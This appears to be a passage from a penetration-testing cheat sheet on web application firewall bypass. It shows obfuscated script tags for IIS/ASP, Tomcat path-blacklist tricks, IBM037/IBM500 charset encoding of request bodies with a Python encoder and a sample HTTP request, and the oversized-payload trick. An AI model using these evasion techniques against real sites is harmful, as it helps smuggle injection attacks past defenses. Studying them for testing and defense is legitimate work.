```bash
|
|
# IIS, ASP Clasic
|
|
<%s%cr%u0131pt> == <script>
|
|
|
|
# Path blacklist bypass - Tomcat
|
|
/path1/path2/ == ;/path1;foo/path2;bar/;
|
|
|
|
# Charset encoding
|
|
application/x-www-form-urlencoded;charset=ibm037
|
|
multipart/form-data; charset=ibm037,boundary=blah
|
|
multipart/form-data; boundary=blah; charset=ibm037
|
|
|
|
##Python code
|
|
import urllib
|
|
s = 'payload'
|
|
print(urllib.quote_plus(s.encode("IBM037"))
|
|
|
|
## Request example
|
|
GET / HTTP/1.1
|
|
Host: buggy
|
|
Content-Type: application/x-www-form-urlencoded; charset=ibm500
|
|
Content-Length: 61
|
|
|
|
%86%89%93%85%95%81%94%85=KKaKKa%C6%D3%C1%C7K%A3%A7%A3&x=L%A7n
|
|
|
|
```
|
|
|
|
It's common in cloud based WAFs that if the payload is bigger than X size, the request won't be checked by the WAF. You can simply use that to bypass them.
